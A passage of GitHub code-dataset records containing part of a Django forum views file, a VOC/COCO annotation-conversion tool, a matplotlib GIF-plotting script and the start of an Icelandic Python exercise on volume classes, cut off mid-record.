'posts_title': posts_title,\r\n 'subject': initial,\r\n 'form': AddPostForm(),\r\n 'form_subject': AddSubjForm(initial=initial),\r\n 'logback': reverse('posts.views.list_posts')}))\r\n\r\ndef list_subjects(request):\r\n per_page = 100\r\n allkey = '.full_list'\r\n if not cache.has_key('subjects:' + allkey):\r\n subj_list = Greeting_Subject.objects.all().order_by('-count')\r\n AddSubjListCache(subj_list)\r\n subj_list = eval(cache.get('subjects:' + allkey))\r\n return render_to_response('subjects.html', \r\n context_instance=RequestContext(request,\r\n {'request': request,\r\n 'subjects': PageList(request, subj_list, per_page),\r\n 'form': AddPostForm(),\r\n 'form_subject': AddSubjForm(),\r\n 'logback': reverse('posts.views.list_subjects')}))\r\n\r\n# Form actions\r\n\r\ndef add_post(request):\r\n if request.method == 'POST':\r\n form_subject = AddSubjForm(request.POST)\r\n form = AddPostForm(request.POST)\r\n if form.is_valid() and form_subject.is_valid():\r\n post = form.save(commit=False)\r\n post.content = PackContent(post)\r\n post.index = abs(zlib.crc32(post.content.encode('utf-8')))\r\n if isinstance(request.user, User):\r\n post.author = request.user\r\n if post.title[:5] == 'about':\r\n post.title = None\r\n else:\r\n post.date = timezone.now()\r\n if post.title and post.title[:3] == '___':\r\n post.title = None\r\n posts_list = Greeting.objects.filter(index=post.index)\r\n if len(posts_list) == 0:\r\n subject = IncSubjCount(subject=request.POST['subject'])\r\n post.subject = subject\r\n ClearSubjListCache()\r\n ClearPostListCache(subject.id)\r\n post.save()\r\n if 'subject' in locals():\r\n return HttpResponseRedirect(reverse('posts.views.list_posts', kwargs={'id_subj': subject.id}))\r\n return HttpResponseRedirect(reverse('posts.views.list_posts'))\r\n\r\ndef edit_post(request, **kw):\r\n post_id = ZI(kw.get('id'))\r\n post = get_object_or_404(Greeting, id=post_id)\r\n if request.method == 'POST':\r\n form = EditPostForm(request.POST, instance=post)\r\n if form.is_valid():\r\n post = form.save(commit=False)\r\n if isinstance(request.user, User):\r\n post.author = request.user\r\n post.save(force_update=True)\r\n if post.subject:\r\n IncSubjCount(subject=post.subject.subject, count=0)\r\n ClearSubjListCache()\r\n ClearPostListCache(post.subject.id)\r\n ClearPostCache(post)\r\n return HttpResponseRedirect(reverse('posts.views.list_posts', kwargs={'id_subj': post.subject.id}))\r\n else:\r\n form = EditPostForm(initial={\r\n 'id': post.id,\r\n 'subject': post.subject,\r\n 'title': post.title,\r\n 'date': post.date,\r\n 'content': UnpackContent(post)}) \r\n return render_to_response('edit_post.html', \r\n context_instance=RequestContext(request,\r\n {'request': request,\r\n 'subject': post.subject,\r\n 'title': post.title,\r\n 'form': form,\r\n 'focus': form['content'].id_for_label}))\r\n\r\ndef delete_post(request, **kw):\r\n if request.user.is_authenticated():\r\n post = get_object_or_404(Greeting, id=ZI(kw.get('id')))\r\n if request.user.is_superuser or hasattr(post, 'author') and request.user.username == post.author.username:\r\n IncSubjCount(subject=post.subject.subject, count=-1)\r\n ClearSubjListCache()\r\n ClearPostListCache(post.subject.id)\r\n ClearPostCache(post)\r\n post.delete()\r\n if 'id_subj' in request.GET:\r\n return HttpResponseRedirect(reverse('posts.views.list_posts', kwargs={'id_subj': ZI(request.GET.get('id_subj'))}))\r\n return HttpResponseRedirect(reverse('posts.views.list_posts'))\r\n\r\ndef user_profile(request, **kw):\r\n if request.method == 'GET':\r\n user = get_object_or_404(User, id=ZI(kw.get('id')))\r\n m = Greeting.objects.filter(author__id=user.id)\r\n return render_to_response('user_profile.html', \r\n context_instance=RequestContext(request,\r\n {'request': request,\r\n 'record': user,\r\n 'record_count': m.count(),\r\n 'logback': reverse('posts.views.list_posts')}))\r\n","repo_name":"egaxegax/django-egaxegax","sub_path":"posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11723,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"72235355772","text":"#!/usr/bin/python\nimport os\nimport json\nimport random\nimport re\nimport pyprind\nimport shutil\nimport argparse\nimport textwrap\nimport xml.etree.ElementTree as ET\nfrom xml.etree.ElementTree import Element\nfrom xml.etree.ElementTree import tostring\nfrom pycocotools.coco import COCO\nfrom xml.dom import minidom\n\ndef get(root, name):\n vars = root.findall(name)\n return vars\n\ndef get_value(root, name):\n vars = root.findall(name)\n if len(vars) == 0:\n raise NotImplementedError('Can not find %s in %s.'%(name, root.tag))\n if len(vars) != 1:\n raise NotImplementedError('The size of %s is supposed to be 1, but is %d.'%(name,len(vars)))\n re = vars[0].text\n try:\n return int(float(re))\n except Exception:\n return re\n\ndef get_class_number(name):\n number = 0\n if name == \"work_uniformm\":\n name = \"work_uniform\"\n if name == \"othe_hat\":\n name = \"other_hat\"\n with open(os.path.join(\"meta.json\"), \"r\") as f:\n coco = json.load(f)\n for one in coco[\"categories\"]:\n if one.get(\"name\")==name:\n number = int(one.get(\"id\",0))\n if number==0:\n print(name)\n return number\n\ndef get_class_name(number,categories=None):\n name = None\n if not categories:\n with open(os.path.join(\"meta.json\"), \"r\") as f:\n coco = json.load(f)\n categories = coco[\"categories\"]\n for one in categories:\n if one.get(\"id\")==number:\n name = one.get(\"name\").replace(\" \",\"_\")\n return name\n\ndef get_image_prefix(filename):\n query = filename.split(\".\")[0]\n return query\n\ndef get_node_or_create(elem,key,new):\n re = get(elem, key)\n if not re or new:\n child = Element(key)\n elem.append(child)\n return child\n else:\n return re[-1]\n\ndef add_xml_element(elem,key,val,new=False):\n if(type(key)==str):\n child = Element(key)\n child.text = str(val)\n elem.append(child)\n elif type(key)==list:\n node = elem\n if(len(key))<2:\n return\n for i in key[:-1]:\n node = get_node_or_create(node,i,new)\n child = Element(key[-1])\n child.text = str(val)\n node.append(child)\n\nfilename_pattern = re.compile(r\"(\\S+)\\.(xml|json)\")\ngen_pattern = re.compile(r\"(\\S*?)(\\d+)\\.(xml|json)\")\nnumber_pattern = re.compile(r\"(\\S*?)(\\d+)\")\ndef quick_sort(li):\n _quick_sort(li,0,len(li)-1)\ndef _quick_sort(li,left,right):\n if left < right:\n mid = partition(li,left,right)\n _quick_sort(li,left,mid-1)\n _quick_sort(li,mid+1,right)\ndef partition(li,left,right):\n i = random.randint(left,right)\n li[left],li[i]=li[i],li[left]\n tmp = li[left]\n while left < right:\n while left<right and li[right]>=tmp:\n right -= 1\n li[left]=li[right]\n while left < right and li[left]<= tmp:\n left += 1\n li[right] = li[left]\n li[left] = tmp\n return left\n\nmap_path = {}\npbar = None\ndef get_image_name_list(src_path):\n src_list = os.listdir(src_path)\n name_list = []\n for i in src_list:\n res = gen_pattern.match(i)\n if res:\n name_list.append(res.groups()[0]+res.groups()[1])\n print(\"start to process %s picture\"%len(name_list))\n global pbar\n pbar = pyprind.ProgBar(len(name_list))\n return name_list\n\nindex = 0\ndef one_voc_format_to_json_format(src_path,file_path,image_id):\n file_path = os.path.join(src_path,file_path)\n tree = ET.parse(file_path)\n root = tree.getroot()\n filename = get_value(root, \"filename\")\n height = get_value(root, \"size/height\")\n width = get_value(root, \"size/width\")\n depth = get_value(root, \"size/depth\")\n json_dict = {\"images\": [{\"file_name\": str(image_id)+'.jpg', \"height\": height, \"width\": width, \"id\": image_id,\n \"license\": 2, \"coco_url\": None, \"data_captured\": None, \"flickr_url\": None}],\n \"annotations\": []\n }\n for one in get(root, \"object\"):\n name = get_value(one, \"name\")\n pose = get_value(one, \"pose\")\n xmin = get_value(one, \"bndbox/xmin\")\n ymin = get_value(one, \"bndbox/ymin\")\n xmax = get_value(one, \"bndbox/xmax\")\n ymax = get_value(one, \"bndbox/ymax\")\n global index\n index +=1\n json_dict[\"annotations\"].append(\n {\"segmentation\": [], \"area\": (xmax - xmin) * (ymax - ymin), \"iscrowd\": 0, \"image_id\": image_id,\n \"bbox\": [xmin, ymin, xmax - xmin, ymax - ymin], \"category_id\": get_class_number(name), \"id\": index}\n )\n return json_dict\n\ndef voc_format_to_json_format(src_path,dir_path):\n image_id_list = []\n if not os.path.exists(os.path.join(dir_path,\"images\")):\n os.mkdir(os.path.join(dir_path,\"images\"))\n for image_id in get_image_name_list(src_path):\n image_id_list.append(image_id)\n json_dict = one_voc_format_to_json_format(src_path,image_id+\".xml\",image_id)\n dir_file = os.path.join(dir_path, \"images\", str(image_id) + \".json\")\n with open(dir_file, \"w+\") as f:\n f.write(json.dumps(json_dict,indent=4, separators=(',', ':')))\n pbar.update()\n with open(os.path.join(dir_path,\"list.json\"),\"w\") as f:\n f.write(json.dumps({\"ImgIDs\":image_id_list},indent=4, separators=(',', ':')))\n\ndef one_json_format_to_voc_format(coco_dict,new_image_name,dir_path,categories=None):\n elem = Element(\"annotation\")\n filename = coco_dict.get(\"images\")[0].get(\"file_name\")\n height = coco_dict.get(\"images\")[0].get(\"height\")\n width = coco_dict.get(\"images\")[0].get(\"width\")\n add_xml_element(elem, \"folder\", dir_path.split(\"/\")[-1])\n add_xml_element(elem, \"filename\", new_image_name)\n add_xml_element(elem, \"path\", os.path.join(dir_path,new_image_name))\n add_xml_element(elem, [\"source\", \"database\"], \"Unkonwn\")\n add_xml_element(elem, [\"size\", \"height\"], height)\n add_xml_element(elem, [\"size\", \"width\"], width)\n add_xml_element(elem, [\"size\", \"depth\"], 3)\n add_xml_element(elem, \"segmented\", 0)\n for one in coco_dict.get(\"annotations\"):\n add_xml_element(elem, [\"object\", \"name\"], get_class_name(int(one.get(\"category_id\")),categories), True)\n add_xml_element(elem, [\"object\", \"pose\"], \"Unspecified\")\n add_xml_element(elem, [\"object\", \"truncated\"], 0)\n add_xml_element(elem, [\"object\", \"difficult\"], 0)\n add_xml_element(elem, [\"object\", \"bndbox\", \"xmin\"], int(one.get(\"bbox\")[0]))\n add_xml_element(elem, [\"object\", \"bndbox\", \"ymin\"], int(one.get(\"bbox\")[1]))\n add_xml_element(elem, [\"object\", \"bndbox\", \"xmax\"], int(one.get(\"bbox\")[2] + one.get(\"bbox\")[0]))\n add_xml_element(elem, [\"object\", \"bndbox\", \"ymax\"], int(one.get(\"bbox\")[3] + one.get(\"bbox\")[1]))\n return elem\n\ndef json_format_to_voc_format(src_path,dir_path):\n for image_id in get_image_name_list(src_path):\n file_path = os.path.join(src_path, image_id+\".json\")\n with open(file_path,\"r\") as f:\n coco_dict = json.load(f)\n elem = one_json_format_to_voc_format(coco_dict,image_id+\".jpg\",dir_path)\n dir_file = os.path.join(dir_path, str(image_id) + \".xml\")\n with open(dir_file,\"w+\") as f:\n f.write(minidom.parseString(tostring(elem)).toprettyxml().replace('<?xml version=\"1.0\" ?>\\n', \"\"))\n pbar.update()\n\ndef check_anno_image_number(voc_anno_path,voc_image_path):\n anno_list = os.listdir(voc_anno_path)\n image_list = os.listdir(voc_image_path)\n if(len(anno_list)!=len(image_list)):\n raise Exception(\"anno number not equal image number\")\n\ndef get_dir_path_max_num(dir_path,prefix):\n if not os.path.exists(dir_path):\n os.mkdir(dir_path)\n dir_list = os.listdir(dir_path)\n if not os.path.exists(dir_path):\n os.mkdir(dir_path)\n max_num = 0\n for i in dir_list:\n res = gen_pattern.match(i)\n if res:\n if res.groups()[0] != prefix:\n continue\n num = int(res.groups()[1])\n if num > max_num:\n max_num = num\n return max_num\n\ndef gen_image_name_list(voc_anno_path,voc_image_path,json_anno_path,json_image_path,prefix):\n src_list = os.listdir(voc_anno_path)\n max_num = get_dir_path_max_num(json_anno_path,prefix)\n name_list = []\n for one in src_list:\n res = gen_pattern.match(one)\n if res:\n max_num += 1\n image_id = one.split('.')[0]\n new_image_path =prefix+str(max_num)+\".jpg\"\n shutil.copyfile(os.path.join(voc_image_path,str(image_id)+\".jpg\"), os.path.join(json_image_path,new_image_path))\n new_anno_name = prefix + str(max_num)\n name_list.append(new_anno_name)\n map_path[new_anno_name] = one\n print(\"start to process %s picture\"%len(name_list))\n global pbar\n pbar = pyprind.ProgBar(len(name_list))\n return name_list\n\ndef merge_voc_dataset_to_json_dataset(voc_anno_path,voc_image_path,json_path,prefix=\"\"):\n check_anno_image_number(voc_anno_path,voc_image_path)\n image_id_list = []\n json_anno_path = os.path.join(json_path,\"images\")\n if not os.path.exists(json_anno_path):\n os.mkdir(json_anno_path)\n for image_id in gen_image_name_list(voc_anno_path,voc_image_path,json_anno_path,json_anno_path,prefix):\n image_id_list.append(image_id)\n json_dict = one_voc_format_to_json_format(voc_anno_path,map_path[image_id], image_id)\n dir_file = os.path.join(json_path, \"images\", str(image_id) + \".json\")\n with open(dir_file, \"w+\") as f:\n f.write(json.dumps(json_dict,indent=4, separators=(',', ':')))\n pbar.update()\n if os.path.exists(os.path.join(json_path, \"list.json\")):\n with open(os.path.join(json_path, \"list.json\"), \"r\") as f:\n ImgIDs = json.load(f)[\"ImgIDs\"]\n else:\n ImgIDs = []\n ImgIDs.extend(image_id_list)\n with open(os.path.join(json_path,\"list.json\"),\"w\") as f:\n f.write(json.dumps({\"ImgIDs\":ImgIDs},indent=4, separators=(',', ':')))\n shutil.copyfile(\"./meta.json\",os.path.join(json_path,\"meta.json\"))\n\ndef merge_json_dataset_to_voc_dataset(json_path,voc_anno_path,voc_image_path,prefix=\"\"):\n if not os.path.exists(voc_image_path):\n os.mkdir(voc_image_path)\n json_anno_path = os.path.join(json_path, \"images\")\n for image_id in gen_image_name_list(json_anno_path,json_anno_path,voc_anno_path,voc_image_path, prefix):\n file_path = os.path.join(json_anno_path,map_path[image_id])\n with open(file_path,\"r\") as f:\n coco_dict = json.load(f)\n elem = one_json_format_to_voc_format(coco_dict,image_id+\".jpg\",voc_image_path)\n dir_file = os.path.join(voc_anno_path, str(image_id) + \".xml\")\n with open(dir_file,\"w+\") as f:\n f.write(minidom.parseString(tostring(elem)).toprettyxml().replace('<?xml version=\"1.0\" ?>\\n', \"\"))\n pbar.update()\n\ndef merge_voc_dataset_to_coco_dataset(voc_anno_path,voc_image_path,coco_output_path,coco_image_path,prefix=\"\"):\n with open(\"meta.json\", \"r\") as f:\n coco = json.load(f)\n coco[\"images\"] = []\n coco[\"annotations\"] = []\n max_num = 0\n if os.path.exists(coco_output_path):\n old_coco = COCO(coco_output_path)\n ImgIDs = list(old_coco.imgs.keys())\n for ImgID in ImgIDs:\n coco[\"images\"].extend(old_coco.loadImgs([ImgID]))\n coco[\"annotations\"].extend(old_coco.loadAnns(old_coco.getAnnIds(imgIds=[ImgID])))\n res = number_pattern.match(str(ImgID))\n if(res):\n if res.groups()[0] == prefix:\n num = int(res.groups()[1])\n if num>max_num:\n max_num = num\n src_list = os.listdir(voc_anno_path)\n global pbar\n pbar = pyprind.ProgBar(len(src_list))\n for one in src_list:\n if gen_pattern.match(one):\n max_num += 1\n image_id = one.split('.')[0]\n new_image_id =max_num # prefix+str(max_num)\n json_dict = one_voc_format_to_json_format(voc_anno_path,one,new_image_id)\n coco[\"images\"].extend(json_dict[\"images\"])\n coco[\"annotations\"].extend(json_dict[\"annotations\"])\n shutil.copyfile(os.path.join(voc_image_path, str(image_id) + \".jpg\"),os.path.join(coco_image_path,str(new_image_id)+\".jpg\"))\n pbar.update()\n with open(coco_output_path, \"w\") as f:\n f.write(json.dumps(coco, indent=4, separators=(',', ':')))\n\ndef get_file_name_from_coco(li,image_id):\n for i in li:\n if i.get(\"id\")==image_id:\n return i.get(\"file_name\")\n\ndef merge_coco_to_voc_dataset(coco_file_path,coco_image_path,voc_anno_path,voc_image_path,prefix=\"\"):\n if not os.path.exists(voc_image_path):\n os.mkdir(voc_image_path)\n coco = COCO(coco_file_path)\n categories = coco.dataset.get('categories')\n ImgIDs = list(coco.imgs.keys())\n global pbar\n pbar = pyprind.ProgBar(len(ImgIDs))\n max_num = get_dir_path_max_num(voc_anno_path, prefix)\n for ImgID in ImgIDs:\n max_num += 1\n new_image_id = prefix+str(max_num)\n json_dict = {}\n json_dict[\"images\"] = coco.loadImgs([ImgID])\n json_dict[\"annotations\"] = coco.loadAnns(coco.getAnnIds(imgIds=[ImgID]))\n old_image_name = get_file_name_from_coco(json_dict[\"images\"], ImgID)\n elem = one_json_format_to_voc_format(json_dict, new_image_id + \".jpg\",voc_image_path,categories)\n dir_file = os.path.join(voc_anno_path, new_image_id + \".xml\")\n if not os.path.exists(os.path.join(coco_image_path,old_image_name)):\n print(os.path.join(coco_image_path,old_image_name),\"not exists\")\n else:\n with open(dir_file, \"w+\") as f:\n f.write(minidom.parseString(tostring(elem)).toprettyxml().replace('<?xml version=\"1.0\" ?>\\n', \"\"))\n shutil.copyfile(os.path.join(coco_image_path,old_image_name),os.path.join(voc_image_path,new_image_id+\".jpg\"))\n pbar.update()\n\ndef merge_coco_to_json_dataset(coco_file_path,coco_image_path,json_path,prefix=\"\"):\n json_anno_path = os.path.join(json_path, \"images\")\n if not os.path.exists(json_anno_path):\n os.makedirs(os.path.join(json_anno_path))\n coco = COCO(coco_file_path)\n meta_json_dict = {\n \"info\": coco.dataset.get('info', []),\n \"licenses\": coco.dataset.get('licenses', []),\n \"type\": coco.dataset.get('type', \"instance\"),\n \"categories\": coco.dataset.get('categories')}\n with open(os.path.join(json_path, \"meta.json\") , \"w\") as f:\n f.write(json.dumps(meta_json_dict,indent=4, separators=(',', ':')))\n ImgIDs = list(coco.imgs.keys())\n global pbar\n pbar = pyprind.ProgBar(len(ImgIDs))\n max_num = get_dir_path_max_num(json_anno_path, prefix)\n if os.path.exists(os.path.join(json_path, \"list.json\")):\n with open(os.path.join(json_path, \"list.json\"), \"r\") as f:\n new_image_id_list = json.load(f)[\"ImgIDs\"]\n else:\n new_image_id_list = []\n for ImgID in ImgIDs:\n max_num += 1\n new_image_id = prefix + str(max_num)\n new_image_id_list.append(new_image_id)\n json_dict = {}\n json_dict[\"images\"] = coco.loadImgs([ImgID])\n json_dict[\"annotations\"] = coco.loadAnns(coco.getAnnIds(imgIds=[ImgID]))\n with open(os.path.join(json_path, \"images\", \"{}.json\".format(new_image_id)), \"w\") as f:\n f.write(json.dumps(json_dict, indent=4, separators=(',', ':')))\n\n # copy img file\n img_path = os.path.join(coco_image_path, json_dict[\"images\"][0][\"file_name\"])\n if os.path.exists(img_path):\n shutil.copyfile(img_path, os.path.join(json_path, \"images\", \"{}.jpg\".format(new_image_id)))\n else:\n print(\"'{}' file does not exist.\".format(img_path))\n pbar.update()\n with open(os.path.join(json_path, \"list.json\") , \"w\") as f:\n f.write(json.dumps({\"ImgIDs\":new_image_id_list},indent=4, separators=(',', ':')))\n\ndef merge_json_to_coco_dataset(json_path,coco_file_path,coco_image_path,prefix=\"\"):\n if not os.path.exists(coco_image_path):\n os.makedirs(coco_image_path)\n with open(os.path.join(json_path, \"meta.json\"), \"r\") as f:\n coco = json.load(f)\n coco[\"images\"] = []\n coco[\"annotations\"] = []\n max_num = 0\n if os.path.exists(coco_file_path):\n old_coco = COCO(coco_file_path)\n ImgIDs = list(old_coco.imgs.keys())\n for ImgID in ImgIDs:\n coco[\"images\"].extend(old_coco.loadImgs([ImgID]))\n coco[\"annotations\"].extend(old_coco.loadAnns(old_coco.getAnnIds(imgIds=[ImgID])))\n res = number_pattern.match(str(ImgID))\n if(res):\n if res.groups()[0] == prefix:\n num = int(res.groups()[1])\n if num>max_num:\n max_num = num\n with open(os.path.join(json_path, \"list.json\"), \"r\") as f:\n ImgIDs = json.load(f)[\"ImgIDs\"]\n for ImgID in ImgIDs:\n with open(os.path.join(json_path, 'images', \"{}.json\".format(ImgID)), \"r\") as f:\n json_dict = json.load(f)\n coco[\"images\"].extend(json_dict[\"images\"])\n coco[\"annotations\"].extend(json_dict[\"annotations\"])\n max_num += 1\n new_image_id = prefix + str(max_num)\n source_path = os.path.join(json_path, 'images', \"{}.jpg\".format(ImgID))\n shutil.copyfile(source_path, os.path.join(coco_image_path, \"{}.jpg\".format(new_image_id)))\n\n with open(coco_file_path, \"w\") as f:\n f.write(json.dumps(coco, indent=4, separators=(',', ':')))\n\ndef copy_dir_by_percent(src_path,dir_path,percent=0,number=0):\n if not percent and not number:\n shutil.copytree(src_path, dir_path)\n else:\n src_list = os.listdir(src_path)\n total_len = len(src_list)\n target = 0\n if percent:\n target = int(total_len*float(percent))\n elif number:\n target = int(number)\n if target:\n if not os.path.exists(dir_path):\n os.makedirs(dir_path)\n for i in src_list[:target]:\n shutil.copyfile(os.path.join(src_path,i),os.path.join(dir_path,i))\n\ndef copy_coco_by_percent(src_path,dir_path,percent=0,number=0):\n src_image_path = os.path.join(src_path,\"images\")\n dir_image_path = os.path.join(dir_path,\"images\")\n if not percent and not number:\n shutil.copytree(src_path, dir_path)\n shutil.copyfile(os.path.join(src_path, \"list.json\"), os.path.join(dir_path, \"list.json\"))\n shutil.copyfile(os.path.join(src_path, \"meta.json\"), os.path.join(dir_path, \"meta.json\"))\n else:\n src_list = os.listdir(src_image_path)\n total_len = len(src_list)//2\n target = 0\n current=0\n ImgIDs = []\n if percent:\n target = int(total_len * float(percent))\n elif number:\n target = int(number)\n if target:\n if not os.path.exists(dir_image_path):\n os.makedirs(dir_image_path)\n for i in src_list:\n res = gen_pattern.match(i)\n if(res):\n current +=1\n if(current>target):\n break\n image_id = res.groups()[0]+res.groups()[1]\n image_name =image_id +\".jpg\"\n shutil.copyfile(os.path.join(src_image_path, i), os.path.join(dir_image_path, i))\n shutil.copyfile(os.path.join(src_image_path,image_name), os.path.join(dir_image_path, image_name))\n ImgIDs.append(image_id)\n with open(os.path.join(dir_path, \"list.json\"), \"w\") as f:\n f.write(json.dumps({\"ImgIDs\":ImgIDs},indent=4, separators=(',', ':')))\n shutil.copyfile(os.path.join(src_path, \"meta.json\"), os.path.join(dir_path, \"meta.json\"))\n\ndef run_command(args, command, nargs, parser ):\n if command == \"json-to-voc\":\n if len(nargs) != 2:\n parser.print_help()\n print(\"json-to-voc [json_dir] [voc_dir]\")\n else:\n json_format_to_voc_format(nargs[0], nargs[1])\n elif command == \"voc-to-json\":\n if len(nargs) != 2:\n parser.print_help()\n print(\"voc-to-json [voc_dir] [json_dir]\")\n else:\n voc_format_to_json_format(nargs[0], nargs[1])\n elif command == \"merge-voc-to-json\":\n if len(nargs) != 2:\n parser.print_help()\n print(\"merge-voc-to-json [voc_path] [json_path]\")\n else:\n merge_voc_dataset_to_json_dataset(os.path.join(nargs[0],\"Annotations\"),os.path.join(nargs[0],\"JPEGImages\"), nargs[1],prefix=args.prefix)\n elif command == \"copy\":\n if len(nargs) != 2:\n parser.print_help()\n print(\"copy [from_path] [to_path]\")\n else:\n copy_dir_by_percent(nargs[0], nargs[1],percent=args.percent,number=args.number)\n elif command == \"copy-coco\":\n if len(nargs) != 2:\n parser.print_help()\n print(\"copy-coco [from_path] [to_path]\")\n else:\n copy_coco_by_percent(nargs[0], nargs[1],percent=args.percent,number=args.number)\n elif command == \"merge-voc-to-coco\":\n if len(nargs) != 3:\n parser.print_help()\n print(\"merge-voc-to-coco [voc_path] [coco_output_file_path] [coco_img_path]\")\n else:\n merge_voc_dataset_to_coco_dataset(os.path.join(nargs[0],\"Annotations\"), os.path.join(nargs[0],\"JPEGImages\"),nargs[1],nargs[2],prefix=args.prefix)\n elif command == \"merge-coco-to-voc\":\n if len(nargs) != 3:\n parser.print_help()\n print(\"merge-coco-to-voc [coco_file_path] [coco_image_path] [voc_path]\")\n else:\n merge_coco_to_voc_dataset(nargs[0],nargs[1],os.path.join(nargs[2],\"Annotations\"),os.path.join(nargs[2],\"JPEGImages\"),prefix=args.prefix)\n elif command == \"merge-json-to-voc\":\n if len(nargs) != 2:\n parser.print_help()\n print(\"merge-json-to-voc [json_path] [voc_path]\")\n else:\n merge_json_dataset_to_voc_dataset(nargs[0],os.path.join(nargs[1],\"Annotations\"),os.path.join(nargs[1],\"JPEGImages\"),prefix=args.prefix)\n elif command == \"merge-coco-to-json\":\n if len(nargs) != 3:\n parser.print_help()\n print(\"merge-json-to-voc [coco_file_path] [coco_image_path] [json_path]\\n\")\n else:\n merge_coco_to_json_dataset(nargs[0],nargs[1],nargs[2],prefix=args.prefix)\n elif command == \"merge-json-to-coco\":\n if len(nargs) != 3:\n parser.print_help()\n print(\"merge-json-to-voc [json_path] [coco_file_path] [coco_image_path]\\n\")\n else:\n merge_json_to_coco_dataset(nargs[0],nargs[1],nargs[2],prefix=args.prefix)\n else:\n parser.print_help()\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(prog='label_tool.py',\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=textwrap.dedent('''\\\n coco format & voc format convert.\n\n Command:\n copy \n [from_path] [to_path] : copy on percent\n copy-coco\n [from_path] [to_path] : copy coco sample on percent\n json-to-voc \n [coco_dir] [voc_dir] : convert json annotatino to voc annotation\n voc-to-json\n [voc_dir] [coco_dir] : convert voc annotatino to json annotation\n merge-voc-to-json\n [voc_path] [json_path]: merge voc annotatino into json annotation\n merge-json-to-voc\n [json_path] [voc_path]: merge json annotatino into voc annotation\n merge-voc-to-coco\n [voc_path] [coco_output_file_path] [coco_img_path]:merge voc to coco format\n merge-coco-to-voc \n [coco_file_path] [coco_image_path] [voc_path]:merge coco to json format\n '''))\n parser.add_argument(\"--prefix\", \"-p\",\n default=\"\",\n help=\"generate file'prefix\",\n action=\"store\"\n )\n parser.add_argument(\"--percent\",\n default=0,\n help=\"copy file percent\",\n action=\"store\"\n )\n parser.add_argument(\"--number\",\"-n\",\n default=0,\n help=\"copy file numbers\",\n action=\"store\"\n )\n parser.add_argument(\"command\",\n help=\"See above for the list of valid command\")\n parser.add_argument('nargs', nargs=argparse.REMAINDER,\n help=\"Additional command argument\",\n )\n args = parser.parse_args()\n command = args.command\n nargs = args.nargs\n run_command(args, command, nargs, parser)\n","repo_name":"aurorazl/pythonSmtp","sub_path":"label_tool.py","file_name":"label_tool.py","file_ext":"py","file_size_in_byte":24736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72671051132","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 8 12:31:50 2022\n\n\n Creat a gif !\n\n@author: sand-jrd\n\"\"\"\n\ngif_name = \"mygif\"\n\n# %% 1 - Preparation\n\n\"\"\" Arrange this section as you want, to build the plot you'd like.\nLoad your data , do your stuff .. Evrything you will need for the plots\"\"\"\n\nfrom vip_hci.fits import open_fits\nimport numpy as np\nfrom vip_hci.preproc import cube_derotate, frame_rotate\n\n\nmodel = open_fits(\"model\")\nangles = np.linspace(90,185,90)\n\ncube = np.array([frame_rotate(model, angle) for angle in angles]) \nstatic = np.median(cube,axis=0)\n\nmedsub = cube_derotate(cube - static, angles)\nest_rot = np.mean(medsub, axis=0)\nvmax = np.max(model)\nvmin = 0\n\n# %% 1-bis- Define the length of the gif. \n \n# ! These parameters are important and will be inherited by the next scipt ! \nnb_frame = len(cube) # length of the gif\nfigsize = (5,3) # Size of the plot\ngif_name = \"mygif\" # Name the gif\n\n# %% 2 - Plot arrangment\n\n\"\"\" Create the plot. \nThe variable *val* indicate the frame number of the gif..\n\"\"\"\n\nimport matplotlib.pyplot as plt\n\nfont = {'size':'6', 'color':'tab:red' }\n\ndef plot_framek(val: int) -> None:\n\n num = int(val) # Val need to be convert into int. \n \n plt.subplot(1, 3, 1)\n plt.imshow(cube[num], vmax=vmax, vmin=vmin, cmap='jet'), plt.colorbar\n plt.title(\"Frame n°\" + str(num), **font)\n plt.gca().invert_yaxis()\n\n\n plt.subplot(1, 3, 2)\n plt.imshow(static, vmax=vmax, vmin=vmin, cmap='jet')\n plt.title(\"Part of the disk \\nthat appear static\", **font)\n plt.gca().invert_yaxis()\n\n\n plt.subplot(1, 3, 3)\n plt.imshow(est_rot, vmin=vmin, cmap='jet')\n plt.title(\"What's left if you\\n remove static component\", **font)\n plt.gca().invert_yaxis()\n\n# %% 3 - Plot arrangment\n\n## Test if the plot is good before generating\nplt.figure(\"Test\",figsize=figsize)\nplot_framek(0)\n","repo_name":"Sand-jrd/from_matplotlib_to_gif","sub_path":"create_plot_function.py","file_name":"create_plot_function.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36353130173","text":"#Skil6\r\nfrom math import *\r\n\r\n#---------------------------------------------Dæmi1-------------------------------------------------#\r\nclass rummal:\r\n def upplysingar(self, xd=\"\"):\r\n return \"Ég er klasi sem reiknar út rúmmál hluta {}\".format(xd)\r\n\r\n\r\nclass rummalkassi(rummal):\r\n def __init__(self, l, b, h):\r\n self.l = l\r\n self.b = b\r\n self.h = h\r\n\r\n def kassi(self):\r\n r = self.l * self.h * self.b\r\n return \"þetta er rúmmál kassans\" +\" \"+ str(r)\r\n\r\n def upplysingar(self):\r\n return super().upplysingar('og þetta er kassi')\r\nclass pyramidi_rummal(rummal):\r\n def __init__(self, l, h, b):\r\n self.l = l\r\n self.h = h\r\n self.b = b\r\n\r\n def Pyramídi(self):\r\n r = self.l * self.h * self.b / 3\r\n return \"þetta er rúmmál pyramídans\" +\" \"+ str(r)\r\n\r\n def upplysingar(self):\r\n return super().upplysingar('og þetta er kassi')\r\nclass kularummal(rummal):\r\n def __init__(self, r):\r\n self.r = r\r\n self.v = self.vol()\r\n\r\n def vol(self):\r\n return (4 / 3 * pi *(self.r))\r\n\r\n def upplysingar(self):\r\n return super().upplysingar('og þetta er kassi')\r\n\r\n#---------------------------------------------Dæmi2-------------------------------------------------#\r\nclass nemi:\r\n def __init__(self,kt,firstname,lastname,kyn,address,phone,email,braut):\r\n self.kt = kt\r\n self.firstname = firstname\r\n self.lastname = lastname\r\n self.kyn = kyn\r\n self.address = address\r\n self.phone = phone\r\n self.email = email\r\n self.braut = braut\r\n def upplysingar(self):\r\n return \" kennitala: \"+self.kt+\" fyrsta nafn:\" + self.firstname + \" síðasta nafn:\" + self.lastname+\" kyn: 